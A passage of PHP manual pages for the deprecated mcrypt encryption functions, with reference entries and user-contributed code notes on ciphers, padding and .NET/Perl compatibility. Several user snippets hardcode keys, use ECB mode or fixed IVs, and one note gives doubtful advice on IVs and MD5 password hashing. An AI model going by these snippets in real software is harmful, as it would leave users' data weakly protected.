   $crypttext = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $text, MCRYPT_MODE_ECB, $iv);
   return trim(base64_encode($crypttext)); //encode for cookie
}

function decryptCookie($value){
   if(!$value){return false;}
   $key = 'The Line Secret Key';
   $crypttext = base64_decode($value); //decode cookie
   $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
   $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
   $decrypttext = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $crypttext, MCRYPT_MODE_ECB, $iv);
   return trim($decrypttext);
}

?>
d a v i d w h t h o m a s @ g m a i l 27-Nov-2006 05:37
Here's two simple functions to encrypt and decrypt a string:

<?php
function encryptData($value){
   $key = "top secret key";
   $text = $value;
   $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
   $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
   $crypttext = mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $text, MCRYPT_MODE_ECB, $iv);
   return $crypttext;
}

function decryptData($value){
   $key = "top secret key";
   $crypttext = $value;
   $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB);
   $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
   $decrypttext = mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $key, $crypttext, MCRYPT_MODE_ECB, $iv);
   return trim($decrypttext);
}
?>
stonecypher at gmail dot com 11-Sep-2006 01:11
Most of the user-written cipher examples here are badly broken, and there are a few cases where the manual says things that are outright incorrect, such as that it's "safe to transmit the initialization vector in plaintext" (this is incorrect: see Ciphers By Ritter, http://www.ciphersbyritter.com/GLOSSARY.HTM#IV ,  for details.)

mcrypt itself is perfectly safe, but correct and therefore safe usage is inobvious.  It is important to use a cryptographic library correctly; a simple usage error, even when it produces results that can be unpacked at the other side, can render a strong algorithm completely useless.

The initialization vector must be permuted with a recoverable noise source (an arbitrary md5 hash is acceptable, since it's just a fake OTP and its origin contents are wholly unimportant.)

Passwords should be remade with a salted one-way hash (md5 is again acceptable even though it's been damaged, since the only thing you could recover from a cracked md5 hash is the source data to generate the password, which is useless.)

It's important to use a sane block mode (OFB is unsafe for almost all algorithms; never use it.  Prefer CBC in all cases except where you need to deal with a degraded signal and cannot retransmit.)

A correct usage example is actually pretty long and needs a lot of explanation, so I developed a safe wrapper library which doesn't constrain usage and which comments itself very heavily.  It's appropriate for use or for learning.  Please see my blog for details on Stone PHP SafeCrypt:

http://blog.sc.tri-bit.com/archives/101
ale_ferrer at yahoo dot com 24-Jul-2006 02:35
Mcript - Dot NET - 3DES problem.

This is a solution for the 3DES algorithm's problem in his interaction with .NET TripleDESCryptoServiceProvider (System.Security.Cryptography), CBC mode,  because the key is completed to 192bits and the text is padded.

So, we has two problems:
           - The key's completion  was posted by "jesse at pctest dot com".
           - The text padding also posted by him, but the completion is a little different. The padding bytes are 0x01 to 0x08 because completed to 8 bytes blocks. If your text have a whole number of 8 bytes blocks, the algorithm add other block with padded bytes (0x08).

This is a function to encrypt a text in a equal form that the Dot NET algorithm:

<?PHP
function encryptNET3DES($key, $vector, $text){
    $td = mcrypt_module_open (MCRYPT_3DES, '', MCRYPT_MODE_CBC, '');

    // Complete the key
    $key_add = 24-strlen($key);
    $key .= substr($key,0,$key_add);

    // Padding the text
    $text_add = strlen($text)%8;
    for($i=$text_add; $i<8; $i++){
        $text .= chr(8-$text_add);
    }

    mcrypt_generic_init ($td, $key, $vector);
    $encrypt64 = mcrypt_generic ($td, $text);
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

     // Return the encrypt text in 64 bits code
    return $encrypt64;
}
?>
alexandrub83 at yahoo dot com 24-Sep-2005 06:53
A class to encrypt, decrypt data! if you have problems with using it please visit my site http://www.alexandrub.tk and mail me using Contact section! I use it to encrypt POST and GET data! I don't remember his name but thanks to how recognize his code in the binFromHex function!

<?php
//copyright www.alexandrub.tk
//ver 1.00
class cript
{
var $key;
var $td;
var $time4keyToChange;
var $iv;

function cript($aKey='time',$aTime4keyToChange=3600)
 {
 $this->time4keyToChange=$aTime4keyToChange;
 if($aKey!='time')
   {
   $this->key=$aKey."&".intval(time()/$this->time4keyToChange);
   }
   else
   {
   $this->key=intval(time()/$this->time4keyToChange);
   }
 $this->td = MCRYPT_RIJNDAEL_256;
 $this->iv = "qe3jigneqfrgnqw2egfmas4qetjkn5lg";
 }

function hexFromBin($data)
{
return bin2hex($data);
}

function binFromHex($data)
 {
 $len = strlen($data);
 return pack("H" . $len, $data);
 }

function criptData($data)
 {
 return $this->hexFromBin(mcrypt_encrypt($this->td, $this->key, $data, MCRYPT_MODE_CBC, $this->iv));
 }
function decriptData($eData)
 {
 return trim(mcrypt_decrypt($this->td, $this->key, $this->binFromHex($eData), MCRYPT_MODE_CBC, $this->iv));
 }
}
return true;
?>
jesse at pctest dot com 07-Dec-2004 02:43
Solving 3DES incompatibilities with .NET's TripleDESCryptoServiceProvider

mcrypt's 3DES only accepts 192 bit keys, but Microsoft's .NET and many other tools accept both 128 and 192 bit keys.
If your key is too short, mcrypt will 'helpfully' pad null characters onto the end, but .NET refuses to use a key where the last third is all null (this is a Bad Key). This prevents you from emulating mcrypt's "short key" behaviour in .NET.

How to reconcile this? A little DES theory is in order
3DES runs the DES algorithm three times, using each third of your 192 bit key as the 64 bit DES key

Encrypt Key1 -> Decrypt Key2 -> Encrypt Key3

and both .NET and PHP's mcrypt do this the same way.
The problem arises in short key mode on .NET, since 128 bits is only two 64 bit DES keys
The algorithm that they use then is:

Encrypt Key1 -> Decrypt Key2 -> Encrypt Key1

mcrypt does not have this mode of operation natively.
but before you go and start running DES three times yourself, here's a Quick Fix
<?php
$my_key = "12345678abcdefgh"; // a 128 bit (16 byte) key
$my_key .= substr($my_key,0,8); // append the first 8 bytes onto the end
$secret = mcrypt_encrypt(MCRYPT_3DES, $my_key, $data, MCRYPT_MODE_CBC, $iv);  //CBC is the default mode in .NET
?>

And, like magic, it works.

There's one more caveat: Data padding
mcrypt always pads data will the null character
but .NET has two padding modes: "Zeros" and "PKCS7"
Zeros is identical to the mcrypt scheme, but PKCS7 is the default.
PKCS7 isn't much more complex, though:
instead of nulls, it appends the total number of padding bytes (which means, for 3DES, it can be a value from 0x01 to 0x07)
if your plaintext is "ABC", it will be padded into:
0x41 0x42 0x43 0x05 0x05 0x05 0x05 0x05

You can remove these from a decrypted string in PHP by counting the number of times that last character appears, and if it matches it's ordinal value, truncating the string by that many characters:
<?php
    $block = mcrypt_get_block_size('tripledes', 'cbc');
    $packing = ord($text{strlen($text) - 1});
    if($packing and ($packing < $block)){
      for($P = strlen($text) - 1; $P >= strlen($text) - $packing; $P--){
    if(ord($text{$P}) != $packing){
      $packing = 0;
    }
      }
    }
    $text = substr($text,0,strlen($text) - $packing);
?>

And to pad a string that you intend to decrypt with .NET, just add the chr() value of the number of padding bytes:
<?php
    $block = mcrypt_get_block_size('tripledes', 'cbc');
    $len = strlen($dat);
    $padding = $block - ($len % $block);
    $dat .= str_repeat(chr($padding),$padding);
?>

That's all there is to it.
Knowing this, you can encrypt, decrypt, and duplicate exactly any .NET 3DES behaviour in PHP.
cleong at nflc dot org 03-Dec-2004 02:04
Note that the key need to be a binary string--not a hex string. A 128-bit key would be 16 characters long, for example.

Use the pack() function to quickly convert a hex string into the actual binary data:

<?php
$key_hex = '66e94bd4ef8a2c3b884cfa59ca342b2e';
$key_bin = pack('H*', $key_hex);
$pt = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key_bin, $et, MCRYPT_MODE_ECB);
?>
chris at TRIMTHIS dot chriscodes dot com 14-Aug-2004 07:31
[Editor's note: original script posted by
andrewcare at execulink dot com
07-Jul-2004 04:45]

I needed to add
trim($data)
to andrew's example for it to remove some leftover hex garbage from the decrypted string.

Here's the working example:
<?php
$data = "Plaintext"; // Data to encrypt (http://www.ciphersbyritter.com/glossary.htm#Encryption)
$key = "Secret"; // Encryption key (http://www.ciphersbyritter.com/glossary.htm#Key)
$td = MCRYPT_RIJNDAEL_256; // Encryption cipher (http://www.ciphersbyritter.com/glossary.htm#Cipher)

$iv_size = mcrypt_get_iv_size($td, MCRYPT_MODE_ECB); // Dependant on cipher/mode combination (http://www.php.net/manual/en/function.mcrypt-get-iv-size.php)
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND); // Creates an IV (http://www.ciphersbyritter.com/glossary.htm#IV)

echo "Original data: $data<br />";

$encrypted_data = mcrypt_encrypt($td, $key, $data, MCRYPT_MODE_CBC, $iv); // Encrypts data (http://www.php.net/manual/en/function.mcrypt-encrypt.php)

echo "Encrypted data: " . bin2hex($encrypted_data)  . "<br />"; // bin2hex to compensate for random character values

$data = mcrypt_decrypt($td, $key, $encrypted_data, MCRYPT_MODE_CBC, $iv); // Decrypts data (http://www.php.net/manual/en/function.mcrypt-decrypt.php)

echo trim($data);
?>

Thanks andrew, you saved me some time! Hope this saves someone else!
mcrypt_enc_self_test
mcrypt_generic_deinit
Mcrypt Functions


This function deinitializes an encryption module

mcrypt_encrypt
mcrypt_generic_end
Mcrypt Functions
PHP Manual

mcrypt_generic_deinit

(PHP 4 >= 4.0.7, PHP 5)

mcrypt_generic_deinit — This function deinitializes an encryption module

Description

bool mcrypt_generic_deinit ( resource $td )

This function terminates encryption specified by the encryption descriptor (td). It clears all buffers, but does not close the module. You need to call mcrypt_module_close() yourself. (But PHP does this for you at the end of the script.)

Parameters

td

The encryption descriptor.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mcrypt_module_open() - Opens the module of the algorithm and the mode to be used
  • mcrypt_generic_init() - This function initializes all buffers needed for encryption

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_encrypt
mcrypt_generic_end
Mcrypt Functions


This function terminates encryption

mcrypt_generic_deinit
mcrypt_generic_init
Mcrypt Functions
PHP Manual

mcrypt_generic_end

(PHP 4 >= 4.0.2, PHP 5 <= 5.1.6)

mcrypt_generic_end — This function terminates encryption

Description

bool mcrypt_generic_end ( resource $td )

Warning

This function is deprecated, use mcrypt_generic_deinit() instead. It can cause crashes when used with mcrypt_module_close() due to multiple buffer frees.

This function terminates encryption specified by the encryption descriptor (td). Actually it clears all buffers, and closes all the modules used. Returns FALSE on error, or TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_generic_deinit
mcrypt_generic_init
Mcrypt Functions


This function initializes all buffers needed for encryption

mcrypt_generic_end
mcrypt_generic
Mcrypt Functions
PHP Manual

mcrypt_generic_init

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_generic_init — This function initializes all buffers needed for encryption

Description

int mcrypt_generic_init ( resource $td , string $key , string $iv )

You need to call this function before every call to mcrypt_generic() or mdecrypt_generic().

Parameters

td

The encryption descriptor.

key

The maximum length of the key should be the one obtained by calling mcrypt_enc_get_key_size() and every value smaller than this is legal.

iv

The IV should normally have the size of the algorithms block size, but you must obtain the size by calling mcrypt_enc_get_iv_size(). IV is ignored in ECB. IV MUST exist in CFB, CBC, STREAM, nOFB and OFB modes. It needs to be random and unique (but not secret). The same IV must be used for encryption/decryption. If you do not want to use it you should set it to zeros, but this is not recommended.

Return Values

The function returns a negative value on error: -3 when the key length was incorrect, -4 when there was a memory allocation problem and any other return value is an unknown error. If an error occurs a warning will be displayed accordingly. FALSE is returned if incorrect parameters were passed.

See Also

  • mcrypt_module_open() - Opens the module of the algorithm and the mode to be used

User Contributed Notes

cnww 25-Aug-2006 02:14
If you write error-checking into your code, be warned that this function returns FALSE on some errors, and 0 on success, hence

mcrypt_generic_init( $a, $b, $c ) or die( "Oops");

ALWAYS exits with the error message "Oops", and

(mcrypt_generic_init( $a, $b, $c ) >= 0 ) or die( "Oops");

Sometimes continues when mcrypt_generic_init() actually failed.

To check for successful init use something like:

$s = mcrypt_generic_init( $a, $b, $c );
if( ($s < 0) || ($s === false))
    die( "Really an error" );
mcrypt_generic_end
mcrypt_generic
Mcrypt Functions


This function encrypts data

mcrypt_generic_init
mcrypt_get_block_size
Mcrypt Functions
PHP Manual

mcrypt_generic

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_generic — This function encrypts data

Description

string mcrypt_generic ( resource $td , string $data )

This function encrypts data. The data is padded with "\0" to make sure the length of the data is n * blocksize. This function returns the encrypted data. Note that the length of the returned string can in fact be longer than the input, due to the padding of the data.

If you want to store the encrypted data in a database make sure to store the entire string as returned by mcrypt_generic, or the string will not entirely decrypt properly. If your original string is 10 characters long and the block size is 8 (use mcrypt_enc_get_block_size() to determine the blocksize), you would need at least 16 characters in your database field. Note the string returned by mdecrypt_generic() will be 16 characters as well...use rtrim($str, "\0") to remove the padding.

If you are for example storing the data in a MySQL database remember that varchar fields automatically have trailing spaces removed during insertion. As encrypted data can end in a space (ASCII 32), the data will be damaged by this removal. Store data in a tinyblob/tinytext (or larger) field instead.

Parameters

td

The encryption descriptor.

The encryption handle should always be initialized with mcrypt_generic_init() with a key and an IV before calling this function. Where the encryption is done, you should free the encryption buffers by calling mcrypt_generic_deinit(). See mcrypt_module_open() for an example.

data

The data to encrypt.

Return Values

Returns the encrypted data.

See Also

  • mdecrypt_generic() - Decrypts data
  • mcrypt_generic_init() - This function initializes all buffers needed for encryption
  • mcrypt_generic_deinit() - This function deinitializes an encryption module

User Contributed Notes

maxximus007 at gmail dot com 16-Aug-2007 08:21
Behaviour change: Since 5.2.x mcrypt_generic will issue a warning when the datastring is empty.
tmacedo at linux dot ime dot usp dot br 13-Nov-2006 09:22
completing  the post from Ryan Thomas, ryanrst at gmail dot com, if u post a cookie w/ HTTP method, its may be encoded;
As some chars in base64 will be encoded to another things, u can just replace them before encode and after decode;
Its a tweak from dawgeatschikin at hotmail dot com to original idea from massimo dot scamarcia at gmail dot com
(see @ http://www.php.net/manual/en/function.base64-encode.php):
<?php
function urlsafe_b64encode($string)
{
  $data = base64_encode($string);
  $data = str_replace(array('+','/','='),array('-','_','.'),$data);
  return $data;
}
function urlsafe_b64decode($string)
{
  $data = str_replace(array('-','_','.'),array('+','/','='),$string);
  $mod4 = strlen($data) % 4;
  if ($mod4) {
    $data .= substr('====', $mod4);
  }
  return base64_decode($data);
}
?>
chad 0x40 herballure 0x2e com 12-Jul-2006 08:28
Addendum to my previous note: apparently there was some sort of character encoding breakage; PHP does not pad if no padding is needed, and the extra padding I saw was the result of chr(X) returning multiple bytes or something.

The pad/unpad functions I gave are still binary-safe, though, and are to the best of my knowledge completely compatible with NIST 800-38a.
chad 0x40 herballure 0x2e com 12-Jul-2006 07:36
If the data is already n*blocksize long, PHP pads with another full block of "\0", so there will be between 1 and mcrypt_enc_get_block_size($td) bytes of padding.

You can create binary-safe padding by unconditionally adding a 0x80 to the string, then stripping trailing "\0"s PHP added, plus the one 0x80 byte.

<?php
function pad($text) {
  // Add a single 0x80 byte and let PHP pad with 0x00 bytes.
  return pack("a*H2", $text, "80");
}
function unpad($text) {
  // Return all but the trailing 0x80 from text that had the 0x00 bytes removed
  return substr(rtrim($text, "\0"), 0, -1);
}
?>
eric at ez-llc dot com 11-Mar-2006 12:55
I was able get php and perl to play together with blowfish using cipher block chaining.  The blowfish key needs to be atleast 8 chars (even though blowfish min is 8 bits, perl didn't like keys smaller than 8 chars) and max 56.  The iv must be exactly 8 chars and padding needs to be null because php pads with nulls.  Also, php needs libmcrypt >= 2.4.9 to be compatible with perl.

PERL
----

use Crypt::CBC;
$cipher = Crypt::CBC->new( {'key' => 'my secret key',
                                    'cipher'=> 'Blowfish',
                                    'iv' => '12345678',
                                    'regenerate_key' => 0,
                                    'padding' => 'null',
                                    'prepend_iv' => 0
                                    });
$cc = 'my secret text';
$encrypted = $cipher->encrypt($cc);
$decrypted = $cipher->decrypt($encrypted);

print "encrypted : ".$encrypted;
print "<br>";
print "decrypted : ".$decrypted;

PHP
---

$cc = 'my secret text';
$key = 'my secret key';
$iv = '12345678';

$cipher = mcrypt_module_open(MCRYPT_BLOWFISH,'','cbc','');

mcrypt_generic_init($cipher, $key, $iv);
$encrypted = mcrypt_generic($cipher,$cc);
mcrypt_generic_deinit($cipher);

mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher,$encrypted);
mcrypt_generic_deinit($cipher);

echo "encrypted : ".$encrypted;
echo "<br>";
echo "decrypted : ".$decrypted;
Ryan Thomas, ryanrst at gmail dot com 05-Jan-2006 02:15
If you wish to store encrypted data in a cookie variable on the browser you will encounter problems when decrypting the data. This is because cookies will only store US-ASCII characters and your encrypted data may contain non-US-ASCII characters.

The solution:

base64_encode your encrypted string before you store it in the cookie and base64_decode the string stored in the cookie becore decrypting.

Example:

function setEncryptedCookie($cookieName, $data)
{
  setcookie($cookieName, base64_encode($this->encrypt($data)), time()+$this->expire);
}

function getEncryptedCookie($cookieName)
{
  return $this->decrypt(base64_decode($_COOKIE[$cookieName]));
}
pauls at sellingsource dot com 15-May-2003 11:02
If you are encrypting binary and there is a null terminator partway through your encryption, you will loose the rest of the string.  A workaround is to base64_encode your binary string first.

We found this problem while trying to encrypt CC information.  Some CC values would not decrypt after we converted them to a binary string.

We were using the MCRYPT_RIJNDAEL_256 module to encrypt with.

Hope this helps someone.
mcrypt_generic_init
mcrypt_get_block_size
Mcrypt Functions


Gets the block size of the specified cipher

mcrypt_generic
mcrypt_get_cipher_name
Mcrypt Functions
PHP Manual

mcrypt_get_block_size

(PHP 4, PHP 5)

mcrypt_get_block_size — Gets the block size of the specified cipher

Description

int mcrypt_get_block_size ( int $cipher )
int mcrypt_get_block_size ( string $cipher , string $module )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or 2.5.x.

mcrypt_get_block_size() is used to get the size of a block of the specified cipher (in combination with an encryption mode).

It is more useful to use the mcrypt_enc_get_block_size() function as this uses the resource returned by mcrypt_module_open().

Parameters

cipher

One of the MCRYPT_ciphername constants or the name of the algorithm as string.

module

The module.

Return Values

Gets the block size, as an integer.

Examples

Example #1 mcrypt_get_block_size() example

This example shows how to use this function when linked against libmcrypt 2.4.x and 2.5.x.

<?php

echo mcrypt_get_block_size('tripledes', 'ecb'); // 8

?>

See Also

  • mcrypt_get_key_size() - Gets the key size of the specified cipher
  • mcrypt_enc_get_block_size() - Returns the blocksize of the opened algorithm
  • mcrypt_encrypt() - Encrypts plaintext with given parameters

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_generic
mcrypt_get_cipher_name
Mcrypt Functions


Gets the name of the specified cipher

mcrypt_get_block_size
mcrypt_get_iv_size
Mcrypt Functions
PHP Manual

mcrypt_get_cipher_name

(PHP 4, PHP 5)

mcrypt_get_cipher_name — Gets the name of the specified cipher

Description

string mcrypt_get_cipher_name ( int $cipher )
string mcrypt_get_cipher_name ( string $cipher )

mcrypt_get_cipher_name() is used to get the name of the specified cipher.

mcrypt_get_cipher_name() takes the cipher number as an argument (libmcrypt 2.2.x) or takes the cipher name as an argument (libmcrypt 2.4.x or higher) and returns the name of the cipher or FALSE, if the cipher does not exist.

Parameters

cipher

One of the MCRYPT_ciphername constants or the name of the algorithm as string.

Return Values

This function returns the name of the cipher or FALSE, if the cipher does not exist.

Examples

Example #1 mcrypt_get_cipher_name() Example

<?php
   $cipher = MCRYPT_TripleDES;

   echo mcrypt_get_cipher_name($cipher);
?>

The above example will output:

3DES

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_get_block_size
mcrypt_get_iv_size
Mcrypt Functions


Returns the size of the IV belonging to a specific cipher/mode combination

mcrypt_get_cipher_name
mcrypt_get_key_size
Mcrypt Functions
PHP Manual

mcrypt_get_iv_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_get_iv_size — Returns the size of the IV belonging to a specific cipher/mode combination

Description

int mcrypt_get_iv_size ( string $cipher , string $mode )

Gets the size of the IV belonging to a specific cipher/mode combination.

It is more useful to use the mcrypt_enc_get_iv_size() function as this uses the resource returned by mcrypt_module_open().

Parameters

cipher

One of the MCRYPT_ciphername constants, or the name of the algorithm as string.

mode

One of the MCRYPT_MODE_modename constants, or one of the following strings: "ecb", "cbc", "cfb", "ofb", "nofb" or "stream". The IV is ignored in ECB mode as this mode does not require it. You will need to have the same IV (think: starting point) both at encryption and decryption stages, otherwise your encryption will fail.

Return Values

Returns the size of the Initialization Vector (IV) in bytes. On error the function returns FALSE. If the IV is ignored in the specified cipher/mode combination zero is returned.

Examples

Example #1 mcrypt_get_iv_size() Example

<?php
    echo mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB) . "\n";

    echo mcrypt_get_iv_size('des', 'ecb') . "\n";
?>

See Also

  • mcrypt_get_block_size() - Gets the block size of the specified cipher
  • mcrypt_enc_get_iv_size() - Returns the size of the IV of the opened algorithm
  • mcrypt_create_iv() - Creates an initialization vector (IV) from a random source

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_get_cipher_name
mcrypt_get_key_size
Mcrypt Functions


Gets the key size of the specified cipher

mcrypt_get_iv_size
mcrypt_list_algorithms
Mcrypt Functions
PHP Manual

mcrypt_get_key_size

(PHP 4, PHP 5)

mcrypt_get_key_size — Gets the key size of the specified cipher

Description

int mcrypt_get_key_size ( int $cipher )
int mcrypt_get_key_size ( string $cipher , string $module )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or 2.5.x.

mcrypt_get_key_size() is used to get the size of a key of the specified cipher (in combination with an encryption mode).

It is more useful to use the mcrypt_enc_get_key_size() function as this uses the resource returned by mcrypt_module_open().

Examples

Example #1 mcrypt_get_key_size() Example

<?php
    echo mcrypt_get_key_size('tripledes', 'ecb');
?>

The example above shows how to use this function when linked against libmcrypt 2.4.x or 2.5.x.

The above example will output:

24

See Also

  • mcrypt_get_block_size() - Gets the block size of the specified cipher
  • mcrypt_enc_get_key_size() - Returns the maximum supported keysize of the opened mode
  • mcrypt_encrypt() - Encrypts plaintext with given parameters

User Contributed Notes

Robin 09-Mar-2010 04:43
While not specified in the description, this function, just like mcrypt_enc_get_key_size(), returns the cipher's largest key size in BYTES.
mcrypt_get_iv_size
mcrypt_list_algorithms
Mcrypt Functions


Gets an array of all supported ciphers

mcrypt_get_key_size
mcrypt_list_modes
Mcrypt Functions
PHP Manual

mcrypt_list_algorithms

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_list_algorithms — Gets an array of all supported ciphers

Description

array mcrypt_list_algorithms ([ string $lib_dir = ini_get("mcrypt.algorithms_dir") ] )

Gets the list of all supported algorithms in the lib_dir parameter.

Parameters

lib_dir

Specifies the directory where all algorithms are located. If not specified, the value of the mcrypt.algorithms_dir php.ini directive is used.

Return Values

Returns an array with all the supported algorithms.

Examples

Example #1 mcrypt_list_algorithms() Example

<?php
    $algorithms = mcrypt_list_algorithms("/usr/local/lib/libmcrypt");

    foreach ($algorithms as $cipher) {
        echo "$cipher<br />\n";
    }
?>

The example above will produce a list with all supported algorithms in the "/usr/local/lib/libmcrypt" directory.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_get_key_size
mcrypt_list_modes
Mcrypt Functions


Gets an array of all supported modes

mcrypt_list_algorithms
mcrypt_module_close
Mcrypt Functions
PHP Manual

mcrypt_list_modes

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_list_modes — Gets an array of all supported modes

Description

array mcrypt_list_modes ([ string $lib_dir = ini_get("mcrypt.modes_dir") ] )

Gets the list of all supported modes in the lib_dir parameter.

Parameters

lib_dir

Specifies the directory where all modes are located. If not specified, the value of the mcrypt.modes_dir php.ini directive is used.

Return Values

Returns an array with all the supported modes.

Examples

Example #1 mcrypt_list_modes() Example

<?php
    $modes = mcrypt_list_modes();

    foreach ($modes as $mode) {
        echo "$mode <br />\n";
    }
?>

The example above will produce a list with all supported algorithms in the default mode directory. If it is not set with the mcrypt.modes_dir php.ini directive, the default directory of mcrypt is used (which is /usr/local/lib/libmcrypt).

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_list_algorithms
mcrypt_module_close
Mcrypt Functions


Closes the mcrypt module

mcrypt_list_modes
mcrypt_module_get_algo_block_size
Mcrypt Functions
PHP Manual

mcrypt_module_close

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_close — Closes the mcrypt module

Description

bool mcrypt_module_close ( resource $td )

Closes the specified encryption handle.

Parameters

td

The encryption descriptor.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mcrypt_module_open() - Opens the module of the algorithm and the mode to be used

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_list_modes
mcrypt_module_get_algo_block_size
Mcrypt Functions


Returns the blocksize of the specified algorithm

mcrypt_module_close
mcrypt_module_get_algo_key_size
Mcrypt Functions
PHP Manual

mcrypt_module_get_algo_block_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_get_algo_block_size — Returns the blocksize of the specified algorithm

Description

int mcrypt_module_get_algo_block_size ( string $algorithm [, string $lib_dir ] )

Gets the blocksize of the specified algorithm.

Parameters

algorithm

The algorithm name.

lib_dir

This optional parameter can contain the location where the mode module is on the system.

Return Values

Returns the block size of the algorithm specified in bytes.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_module_close
mcrypt_module_get_algo_key_size
Mcrypt Functions


Returns the maximum supported keysize of the opened mode

mcrypt_module_get_algo_block_size
mcrypt_module_get_supported_key_sizes
Mcrypt Functions
PHP Manual

mcrypt_module_get_algo_key_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_get_algo_key_size — Returns the maximum supported keysize of the opened mode

Description

int mcrypt_module_get_algo_key_size ( string $algorithm [, string $lib_dir ] )

Gets the maximum supported keysize of the opened mode.

Parameters

algorithm

The algorithm name.

lib_dir

This optional parameter can contain the location where the mode module is on the system.

Return Values

This function returns the maximum supported key size of the algorithm specified in bytes.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_module_get_algo_block_size
mcrypt_module_get_supported_key_sizes
Mcrypt Functions


Returns an array with the supported keysizes of the opened algorithm

mcrypt_module_get_algo_key_size
mcrypt_module_is_block_algorithm_mode
Mcrypt Functions
PHP Manual

mcrypt_module_get_supported_key_sizes

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_get_supported_key_sizes — Returns an array with the supported keysizes of the opened algorithm

Description

array mcrypt_module_get_supported_key_sizes ( string $algorithm [, string $lib_dir ] )

Returns an array with the key sizes supported by the specified algorithm. If it returns an empty array then all key sizes between 1 and mcrypt_module_get_algo_key_size() are supported by the algorithm.

Parameters

algorithm

The algorithm to be used.

lib_dir

The optional lib_dir parameter can contain the location where the algorithm module is on the system.

Return Values

Returns an array with the key sizes supported by the specified algorithm. If it returns an empty array then all key sizes between 1 and mcrypt_module_get_algo_key_size() are supported by the algorithm.

See Also

  • mcrypt_enc_get_supported_key_sizes() - Returns an array with the supported keysizes of the opened algorithm

User Contributed Notes

Daniel Bartlett <dan at lockedbox dot net> 11-Feb-2004 10:50
A small bit of php for listing available encryption algorythms and their keysizes.

<?php
$cipher_dir = "/usr/local/lib/libmcrypt";
$algorithms = mcrypt_list_algorithms($cipher_dir);
echo "<html><head></head><body><table><tr>\n";
foreach ($algorithms as $cipher) {
        echo "<td>" . $cipher . "</td><td>";
        $ksizes = mcrypt_module_get_supported_key_sizes($cipher, $cipher_dir);
        if($ksizes==NULL) echo mcrypt_module_get_algo_key_size($cipher, $cipher_dir);
        else foreach ($ksizes as $size) {
                echo $size . " ";
        }
        echo "</td></tr>\n";
}
echo "</table></body></html>\n";
?>

I hope some one finds it handy.
mcrypt_module_get_algo_key_size
mcrypt_module_is_block_algorithm_mode
Mcrypt Functions


Returns if the specified module is a block algorithm or not

mcrypt_module_get_supported_key_sizes
mcrypt_module_is_block_algorithm
Mcrypt Functions
PHP Manual

mcrypt_module_is_block_algorithm_mode

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_is_block_algorithm_mode — Returns if the specified module is a block algorithm or not

Description

bool mcrypt_module_is_block_algorithm_mode ( string $mode [, string $lib_dir ] )

This function returns TRUE if the mode is for use with block algorithms, otherwise it returns FALSE. (e.g. FALSE for stream, and TRUE for cbc, cfb, ofb).

Parameters

mode

The mode to check.

lib_dir

The optional lib_dir parameter can contain the location where the algorithm module is on the system.

Return Values

This function returns TRUE if the mode is for use with block algorithms, otherwise it returns FALSE. (e.g. FALSE for stream, and TRUE for cbc, cfb, ofb).

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_module_get_supported_key_sizes
mcrypt_module_is_block_algorithm
Mcrypt Functions


This function checks whether the specified algorithm is a block algorithm

mcrypt_module_is_block_algorithm_mode
mcrypt_module_is_block_mode
Mcrypt Functions
PHP Manual

mcrypt_module_is_block_algorithm

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_is_block_algorithm — This function checks whether the specified algorithm is a block algorithm

Description

bool mcrypt_module_is_block_algorithm ( string $algorithm [, string $lib_dir ] )

This function returns TRUE if the specified algorithm is a block algorithm, or FALSE if it is a stream one.

Parameters

algorithm

The algorithm to check.

lib_dir

The optional lib_dir parameter can contain the location where the algorithm module is on the system.

Return Values

This function returns TRUE if the specified algorithm is a block algorithm, or FALSE if it is a stream one.

User Contributed Notes

There are no user contributed notes for this page.
mcrypt_module_is_block_algorithm_mode
mcrypt_module_is_block_mode
Mcrypt Functions


Returns if the specified mode outputs blocks or not

mcrypt_module_is_block_algorithm
mcrypt_module_open
Mcrypt Functions
PHP Manual

mcrypt_module_is_block_mode

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_is_block_mode — Returns if the specified mode outputs blocks or not

Description

bool mcrypt_module_is_block_mode ( string $mode [, string $lib_dir ] )

